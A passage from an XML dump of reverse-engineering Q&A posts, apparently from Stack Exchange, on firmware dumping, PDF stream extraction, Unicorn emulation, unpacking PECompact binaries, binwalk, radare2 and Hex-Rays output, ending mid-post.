  <row Id="16772" PostTypeId="2" ParentId="16768" CreationDate="2017-11-16T09:05:06.833" Score="3" Body="&lt;p&gt;JTAG is one way, if you manage to find it on the board and figure out how to dump the firmware over it. However, there are often easier ways, e.g.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the firmware is in a separate flash chip, dump it instead (sometimes it's even possible &lt;a href=&quot;https://www.flashrom.org/ISP&quot; rel=&quot;nofollow noreferrer&quot;&gt;without desoldering&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;if the manufacturer provides firmware updates, extract the firmware from the updater.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-11-16T09:05:06.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16773" PostTypeId="2" ParentId="1526" CreationDate="2017-11-16T14:35:59.787" Score="2" Body="&lt;p&gt;While there is no GUI, I believe it's worth mentioning command lines tools that will help with the &lt;code&gt;in an automated way&lt;/code&gt; part of your question. I've personally used the &lt;a href=&quot;https://mupdf.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mupdf&lt;/code&gt;&lt;/a&gt; associated command line tool: &lt;code&gt;mutool&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example working on the following &lt;a href=&quot;http://storage.googleapis.com/google-code-attachments/openjpeg/issue-235/comment-0/Bug691816.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF file&lt;/a&gt;, here is what you would do to extract the encapsulated JPX stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mutool info Bug691816.pdf &#xA;Bug691816.pdf:&#xA;&#xA;PDF-1.5&#xA;Info object (49 0 R):&#xA;&amp;lt;&amp;lt;/ModDate(D:20101122114310-08'00')/CreationDate(D:20101122114251-08'00')/Title(ID1561x.indd)/Creator(Adobe InDesign 1.5.2)/Producer(Adobe PDF Library 4.16)&amp;gt;&amp;gt;&#xA;Pages: 1&#xA;&#xA;Retrieving info from pages 1-1...&#xA;Mediaboxes (1):&#xA;    1   (54 0 R):   [ 0 0 612 792 ]&#xA;&#xA;Images (1):&#xA;    1   (54 0 R):   [ JPX ] 300x161 8bpc Idx (58 0 R)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you simply need to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mutool show -be -o obj58.jp2 Bug691816.pdf 58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file obj58.jp2&#xA;obj58.jp2: JPEG 2000 Part 1 (JP2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See documentation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mupdf.com/docs/manual-mutool-show.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;A tool for displaying the internal objects in a PDF file.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;PDF/A-3: EmbeddedFile&lt;/code&gt; (as in &lt;a href=&quot;https://github.com/ManuelB/add-zugferd-to-pdf/raw/61fe76c7469666742dc54a4a52ee56d3d6d4282d/src/test/resources/ferd-examples/ZUGFeRD_1p0_BASIC_Einfach.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this file&lt;/a&gt;) you can even run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mutool portfolio ZUGFeRD_1p0_BASIC_Einfach.pdf x 0 ZUGFeRD-invoice.xml&#xA;$ head ZUGFeRD-invoice.xml&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!-- &#xA;&#xA;Nutzungsrechte &#xA;ZUGFeRD Datenformat Version 1.0, 25.6.2014&#xA;Beispiel Version 29.09.2014&#xA;&#xA;Zweck des Forums für elektronische Rechnungen bei der AWV e.V („FeRD“) ist u.a. die Schaffung und Spezifizierung &#xA;eines offenen Datenformats für strukturierten elektronischen Datenaustausch auf der Grundlage offener und nicht &#xA;diskriminierender, standardisierter Technologien („ZUGFeRD Datenformat“)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See documentation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mupdf.com/docs/manual-mutool-portfolio.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manipulate PDF portfolios.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2017-11-17T07:44:28.747" LastActivityDate="2017-11-17T07:44:28.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16774" PostTypeId="2" ParentId="16770" CreationDate="2017-11-16T20:35:48.873" Score="0" Body="&lt;p&gt;It feels like there are two questions here. 1) Finding addresses of system DLLs and 2) Hooking a specific function in the discovered DLL. I'll answer the first question, since it is the title of this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the address of all DLLs, call one of the following functions from your own custom application:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EnumProcessModules&lt;/code&gt;:&#xA;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682631(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682631(v=vs.85).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EnumProcessModulesEx&lt;/code&gt;: &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682633(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682633(v=vs.85).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tradeoff here is that &lt;code&gt;EnumProcessModules&lt;/code&gt; only fetches modules of the same bit-ness (ie if calling from a 64-bit program, only 64-bit modules are fetched)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EnumProcessModulesEx&lt;/code&gt; gives more control and allows fetching all modules, but is a bit trickier to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then check the module base address to see if is in user mode space or kernel mode space. Unfortunately this can vary depending on how the target program was compiled. 32-bit programs are generally kernel mode from 0x80000000 to 0xFFFFFFFF, and 64-bit programs are generally kernel mode from 0xFFFF0800'00000000 to 0xFFFFFFFF'FFFFFFFF. Additional information can be found below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366912(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366912(v=vs.85).aspx&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366778(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366778(v=vs.85).aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22125" LastActivityDate="2017-11-16T20:35:48.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16777" PostTypeId="1" CreationDate="2017-11-18T00:52:58.077" Score="3" ViewCount="459" Body="&lt;p&gt;Maybe I am stupid, but I really dont see anything in their documentation. &#xA;Say I emulate this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 1&#xA;mov ecx, 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can get the result  like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int rr;&#xA;uc_reg_read(uc, UC_X86_REG_ECX, &amp;amp;rr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have to wonder - what happens when I read from an undefined register, say ESI?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uc_reg_read(uc, UC_X86_REG_ESI, &amp;amp;rr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Answer is rr == 0. But how can I detect that this register is undefined, rather than '0'?&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2018-08-15T16:01:50.807" Title="Unicorn emulator: find out if register is undefined" Tags="|x86|emulation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16778" PostTypeId="1" CreationDate="2017-11-18T02:56:08.290" Score="3" ViewCount="2730" Body="&lt;p&gt;I'm a programmer and have an application (an executable file that maybe compiled from a c++ source). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has an &lt;strong&gt;&lt;code&gt;rdata&lt;/code&gt; section (read-only data section)&lt;/strong&gt; that include many (several thousand) strings of the user interface of the application and I want change these strings so that after the changes, the corresponding executable file can be executed without any errors (the source is not available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e0O9P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0O9P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The app has 32 and 64 bit versions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have to change strings in the &lt;code&gt;rdata&lt;/code&gt; section without damaging the executable file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example changing the highlighted section:&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZIIdR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIIdR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible?&lt;/li&gt;&#xA;&lt;li&gt;What are the &lt;em&gt;correct steps&lt;/em&gt; and &lt;em&gt;best tools&lt;/em&gt; too change these strings and make a new &lt;code&gt;exe&lt;/code&gt; file?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please guid my with tools and additional links to tutorials if it is possible in your answer and comments.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;New strings are in a different language and have different lengths with the length of the main strings and i should change many string in the &lt;code&gt;rdata&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Platform: Windows 8.1&lt;/p&gt;&#xA;" OwnerUserId="22295" LastEditorUserId="22295" LastEditDate="2017-11-18T22:48:48.737" LastActivityDate="2017-11-20T22:23:38.717" Title="How to change the strings in rdata section of a executable file?" Tags="|windows|unpacking|executable|exe|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16780" PostTypeId="1" CreationDate="2017-11-18T08:23:37.233" Score="2" ViewCount="321" Body="&lt;p&gt;I've unpacked a binary which was packed with PECompact v2.2 (according to Detect It Easy) and successfully rebuilt the IAT. The binary actually does run, but when I open it in IDA Pro debugger, it is making calls to memory which isn't in existence in the process, which prevents the program from continuing to execute and presents an error (shown below) in IDA. I've also attempted to debug this same program in OllyDbg but OllyDbg doesn't seem to even parse the instructions inn the unpacked version. My question is, what could cause this? Did I unpack the file wrong? Fail to properly rebuild the IAT? Is this a rebasing issue? How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that I try to apply the offset to the proper image base but still, it does not exist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8WCDz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8WCDz.png&quot; alt=&quot;Here can see the calls; these calls point to memory not inside this process.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7jCvW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jCvW.png&quot; alt=&quot;This is the error message given by IDA Pro&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/v5SMY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v5SMY.png&quot; alt=&quot;X32Dbg also shows the invalid CE calls&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gdnRf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gdnRf.png&quot; alt=&quot;This shows theres no data section in the file, but the imports are intact&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-11-18T23:04:42.500" LastActivityDate="2017-11-18T23:04:42.500" Title="How can I fix an unpacked binary which calls out-of-bounds memory?" Tags="|ida|debuggers|unpacking|x64dbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16781" PostTypeId="2" ParentId="16777" CreationDate="2017-11-18T11:45:34.937" Score="1" Body="&lt;p&gt;an emulator requires your input to emulate if you didn't define something you would obviously get what it was initialized with  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;apparently unicorn starts initialized with 0 for all registers it seems &lt;/p&gt;&#xA;&#xA;&lt;p&gt;src to read all registers using the given api&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat testumu.cpp&#xA;#include &quot;unicorn.h&quot;&#xA;#pragma comment(lib,&quot;unicorn.lib&quot;)&#xA;#define REG_NUMS 9&#xA;void main (void) {&#xA;    uc_engine *uc;&#xA;    int regs[REG_NUMS]  = {&#xA;        UC_X86_REG_EAX,UC_X86_REG_EBX,UC_X86_REG_ECX,&#xA;        UC_X86_REG_EDX,UC_X86_REG_EBP,UC_X86_REG_ESP,&#xA;        UC_X86_REG_ESI,UC_X86_REG_EDI,UC_X86_REG_EIP&#xA;    };&#xA;    int bugs[REG_NUMS] = {1,2,3,4,5,6,7,8,9};&#xA;    void *vals[REG_NUMS];&#xA;    for(int i =0; i&amp;lt;REG_NUMS;i++) {&#xA;        vals[i] = &amp;amp;bugs[i];&#xA;    }&#xA;    printf(&quot;values before reading\n\n&quot;);&#xA;    for(int i =0 ; i&amp;lt; REG_NUMS; i++) {&#xA;        printf(&quot;%x\t%x\n&quot; , regs[i],*(int *)vals[i]);&#xA;    }&#xA;    if((uc_open(UC_ARCH_X86, UC_MODE_32, &amp;amp;uc)) == UC_ERR_OK) {&#xA;        uc_reg_read_batch(uc,regs,vals,9);&#xA;    }&#xA;    printf(&quot;values after reading\n\n&quot;);&#xA;    for(int i =0 ; i&amp;lt; REG_NUMS; i++) {&#xA;        printf(&quot;%x\t%x\n&quot; , regs[i],*(int *)vals[i]);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with vc2017 community cmd prompt for x86&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /nologo /Zi /W4 /analyze /Ox testumu.cpp /link /release&#xA;testumu.cpp&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results of compiled executable &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;testumu.exe&#xA;values before reading&#xA;&#xA;13      1&#xA;15      2&#xA;16      3&#xA;18      4&#xA;14      5&#xA;1e      6&#xA;1d      7&#xA;17      8&#xA;1a      9&#xA;values after reading&#xA;&#xA;13      0&#xA;15      0&#xA;16      0&#xA;18      0&#xA;14      0&#xA;1e      0&#xA;1d      0&#xA;17      0&#xA;1a      0&#xA;&#xA;:\&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-11-18T11:45:34.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16783" PostTypeId="1" CreationDate="2017-11-18T12:41:48.057" Score="-3" ViewCount="2448" Body="&lt;p&gt;in the context of reversing a packed binary, what does VA and OEP means? and How can IAT be fixed manually?&lt;/p&gt;&#xA;" OwnerUserId="22298" LastActivityDate="2017-11-18T17:09:08.563" Title="what does VA and OEP means? and How does IAT be fixed manually?" Tags="|binary-analysis|unpacking|" AnswerCount="1" CommentCount="1" ClosedDate="2017-11-23T15:24:01.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="16785" PostTypeId="2" ParentId="16783" CreationDate="2017-11-18T17:09:08.563" Score="1" Body="&lt;p&gt;VA = virtual address. See &lt;a href=&quot;https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address&quot;&gt;VA (Virtual Address) &amp;amp; RVA (Relative Virtual Address)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OEP = original entry point. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/72/unpacking-binaries-in-a-generic-way/91#91&quot;&gt;Unpacking binaries in a generic way&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does IAT be fixed manually?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This question was asked and answered here: &lt;a href=&quot;https://security.stackexchange.com/questions/21540/how-would-i-go-about-rebuilding-the-iat-of-a-packed-executable&quot;&gt;How would I go about rebuilding the IAT of a packed executable?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;https://github.com/NtQuery/Scylla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scylla&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-11-18T17:09:08.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16787" PostTypeId="1" CreationDate="2017-11-19T01:01:57.547" Score="0" ViewCount="4067" Body="&lt;p&gt;I have a ROM dump firmware which must be reversed (as a task). Binwalk output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;88            0x58            uImage header, header size: 64 bytes, header CRC: 0x535A17E8, created: 2015-05-13 06:08:01, image size: 1168920 bytes, Data Address: 0x80002000, Entry Point: 0x80006230, data CRC: 0x54A2AE00, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Moxa-IW awk series&quot;&#xA;152           0x98            LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 3392000 bytes&#xA;1169108       0x11D6D4        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5833114 bytes, 806 inodes, blocksize: 131072 bytes, created: 2015-05-13 06:07:57&#xA;7005944       0x6AE6F8        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2733378 bytes, 330 inodes, blocksize: 131072 bytes, created: 2015-05-13 06:07:58&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After extract data and decompress LZMA, I have binary file &quot;98&quot;, binwalk output for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;1866012       0x1C791C        Certificate in DER format (x509 v3), header length: 4, sequence length: 4&#xA;2169826       0x211BE2        mcrypt 2.5 encrypted data, algorithm: &quot; !0B&quot;, keysize: 12290 bytes, mode: &quot;B&quot;,&#xA;2605176       0x27C078        Linux kernel version &quot;2.6.31--LSDK-WLAN-10.2.85 () #1 PREEMPT Wed May 13 14:00:35 CST 2015 &quot;&#xA;2613200       0x27DFD0        gzip compressed data, maximum compression, from Unix, last modified: 2015-05-13 06:00:00&#xA;2693056       0x2917C0        CRC32 polynomial table, little endian&#xA;2724896       0x299420        CRC32 polynomial table, big endian&#xA;3024579       0x2E26C3        Neighborly text, &quot;neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)&quot;&#xA;3391488       0x33C000        ASCII cpio archive (SVR4 with no CRC), file name: &quot;/dev&quot;, file name length: &quot;0x00000005&quot;, file size: &quot;0x00000000&quot;&#xA;3391604       0x33C074        ASCII cpio archive (SVR4 with no CRC), file name: &quot;/dev/console&quot;, file name length: &quot;0x0000000D&quot;, file size: &quot;0x00000000&quot;&#xA;3391728       0x33C0F0        ASCII cpio archive (SVR4 with no CRC), file name: &quot;/root&quot;, file name length: &quot;0x00000006&quot;, file size: &quot;0x00000000&quot;&#xA;3391844       0x33C164        ASCII cpio archive (SVR4 with no CRC), file name: &quot;TRAILER!!!&quot;, file name length: &quot;0x0000000B&quot;, file size: &quot;0x00000000&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before offset 1866012 there are some unrecognized data.&#xA;When I unpack this binary, I get kernel configure file, cpio archive and some binary 1C791C.crt, as I understand it, which contains kernel files. How i can correctly extract bootloader and Linux kernel files?&#xA;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/1zEJGtGaIAxQhXwK1ygwuU1jp-HUpYXEP/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware.bin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/1hyGJpwz3l-9MnuQ_xhbxWCPkCsD8YbYD/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;98.bin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/1nqgCcJ3zr0n77M-yXXRtq0f5dRE764Xh/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;1C791.bin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22253" LastEditorUserId="22253" LastEditDate="2017-11-19T12:00:47.013" LastActivityDate="2019-01-28T08:31:12.910" Title="Unpacking firmware" Tags="|disassembly|binary-analysis|firmware|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16788" PostTypeId="1" CreationDate="2017-11-19T01:27:15.253" Score="2" ViewCount="363" Body="&lt;p&gt;I am currently working on a file format used to pack (storage only, no compression) different file types together for transport. There is some sort of very simple &quot;encryption&quot; used and so far I have not had any luck. I do know the exact (partial) plain text though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my first time reversing anything so it is very likely that I am missing something obvious!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have worked out the complete structure of the format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Header with some info&lt;/li&gt;&#xA;&lt;li&gt;all &quot;packed&quot; files concatenated, filled to mod4 and &quot;encrypted&quot;&lt;/li&gt;&#xA;&lt;li&gt;a file list with position, size and md5 for each file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additionally each md5 is followed by a 32bit seperator(same on each block and every file, value = 2) and than follows a 32bit &quot;key&quot; at least this is my guess as these 32bit are the same on each block in the file list but every archive file has its own &quot;key&quot;. I do know the exact contents of some of the files (all black .pngs) and can find them in the &quot;cipher&quot; text, each of the multiple pngs is &quot;encrypted&quot; exactly the same so I was thinking that it can not be anything overly complicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create multiple archives with the exact same content. If they are diffed the only thing that changes is the data block and the 32bit &quot;key&quot;. The software used to create the archives does save a key value in one of its config files and changes it every time an archive is created but this key is 7 digit and the 32bit key (if read as LIT 32bit int) is a completely different 9 digit number. As the files are filled up so they are mod4=0 I tried to xor each 32bitblock with the &quot;key&quot; but this did not lead to the known plain text (e.g. png header data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no additional data sent(or received prior to creation of the archive) to the receiving machine(s) of these files so I assume that the key for decryption must be part of the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the whole process of reversing the format was hugely difficult but progress also very rewarding I was just hoping for some pointers or obvious stuff I missed instead of an outright solution as this is the final piece of the puzzle :D&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pastebin.com/n3riWux8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Key with md5&lt;/a&gt; from the file list&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pastebin.com/54LhdzVs&quot; rel=&quot;nofollow noreferrer&quot;&gt;crypted png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pastebin.com/E7Jv4p9L&quot; rel=&quot;nofollow noreferrer&quot;&gt;plain text png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="22301" LastEditorUserId="22301" LastEditDate="2017-12-12T00:29:52.177" LastActivityDate="2017-12-12T00:29:52.177" Title="Struggling with an archive file format using &quot;encryption&quot;" Tags="|file-format|decryption|decompress|hash-functions|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16790" PostTypeId="1" AcceptedAnswerId="16793" CreationDate="2017-11-19T16:53:37.310" Score="4" ViewCount="1340" Body="&lt;p&gt;When I disassemble a &lt;code&gt;jmp&lt;/code&gt; I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004073d4]&amp;gt; pd 1&#xA;            0x004073d4      ff2584804000   jmp dword [sym.imp.kernel32.dll_GetModuleHandleA] ; 0x408084 ; &quot;j\x85&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a command I can get the information contained in  &lt;code&gt;sym.imp.kernel32.dll_GetModuleHandleA&lt;/code&gt; by providing the address &lt;code&gt;0x408084&lt;/code&gt;? &#xA;Preferably in Json as I'm using this for a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched a bit but could not find anything.&lt;/p&gt;&#xA;" OwnerUserId="22305" LastEditorUserId="18698" LastEditDate="2017-11-20T08:00:01.320" LastActivityDate="2017-11-20T08:00:01.320" Title="radare2 get API library and name from address" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16791" PostTypeId="2" ParentId="16790" CreationDate="2017-11-19T20:53:08.047" Score="1" Body="&lt;pre&gt;&lt;code&gt;[0x01012d6c]&amp;gt; pd 1 @ 0x1012d89&#xA;&#xA;| 0x01012d89    ff154c110001  call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]; 0x100114c&#xA;&#xA;[0x01012d6c]&amp;gt; pxrj  4 @ 0x100114c&#xA;&#xA;[{&quot;addr&quot;:16781644,&quot;value&quot;:2011045392,&quot;ref&quot;:&quot;reloc.KERNEL32.dll_GetStartupInfoA_16&quot;}]&#xA;[0x01012d6c]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-11-19T20:53:08.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16792" PostTypeId="1" CreationDate="2017-11-19T21:15:14.707" Score="0" ViewCount="532" Body="&lt;p&gt;While running Hex-Rays decompiler against an application, Hex-Rays gave the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 v29; // r10 ...  v29 = 0i64;    if( !v28)    v19 = 0;&#xA;&#xA; do&#xA;  {&#xA;    v30 = *(_BYTE *)(v29 + 5394926180i64);&#xA;    v31 = *(_BYTE *)(v29 + 5394926172i64);&#xA;    v32 = *(_BYTE *)(v29 + 5394926184i64);&#xA;    v33 = *(_BYTE *)(v29 + 5394926176i64);&#xA;    v34 = *(_BYTE *)(v29++ + 5394926224i64);&#xA;    v75.m128i_i8[v29 + 15] = v30 ^ v34;&#xA;    *((_BYTE *)&amp;amp;v76 + v29 + 3) = v31 ^ *(_BYTE *)(v29 + 5394926227i64);&#xA;    *((_BYTE *)&amp;amp;v76 + v29 + 7) = v32 ^ *(_BYTE *)(v29 + 5394926231i64);&#xA;    *((_BYTE *)&amp;amp;v76 + v29 + 11) = v33 ^ *(_BYTE *)(v29 + 5394926235i64);&#xA;    *((_BYTE *)&amp;amp;v74 + v29 + 15) = v30 ^ *(_BYTE *)(v29 + 5394926239i64);&#xA;    v75.m128i_i8[v29 + 3] = v31 ^ *(_BYTE *)(v29 + 5394926243i64);&#xA;    v75.m128i_i8[v29 + 7] = v32 ^ *(_BYTE *)(v29 + 5394926247i64);&#xA;    v75.m128i_i8[v29 + 11] = v33 ^ *(_BYTE *)(v29 + 5394926251i64);&#xA;  }&#xA;  while ( 